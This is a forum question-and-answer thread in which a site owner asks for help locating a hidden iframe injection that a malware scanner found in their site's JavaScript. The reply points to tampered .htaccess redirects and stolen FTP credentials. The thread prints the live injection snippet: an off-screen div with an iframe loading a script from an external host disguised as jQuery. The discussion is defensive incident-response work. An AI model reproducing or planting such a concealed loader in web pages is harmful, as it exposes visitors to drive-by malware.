0

I ran my website through Sucuri http://sitecheck.sucuri.net/results/www.fort-aspenwood.com

They came up with these rogue iframes in my minified javascript

<style>.vpqfm { position:absolute; left:-632px; top:-729px; }</style> <div class="vpqfm"><iframe src="http://dhypzebl.serveusers.com/jquery/get.php?ver=jquery.latest.js" width="458" height="424"></iframe></div>

I've searched everywhere and can't seem to find which javascript file thare are in, nor are there any strange php codes in the index or anywhere else.

Any thoughts?

1 Answer 1

0

Check htaccess in all directories of your site. It is very common for automated scripts to steal FTP credentials and update .htaccess to redirect an asset (such as JS) to a server that serves your original content plus a payload.

They are pretty good at hiding this: it will set a cookie and only redirect each user once and target specific OS/Browser types, which makes it pretty unnoticable.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .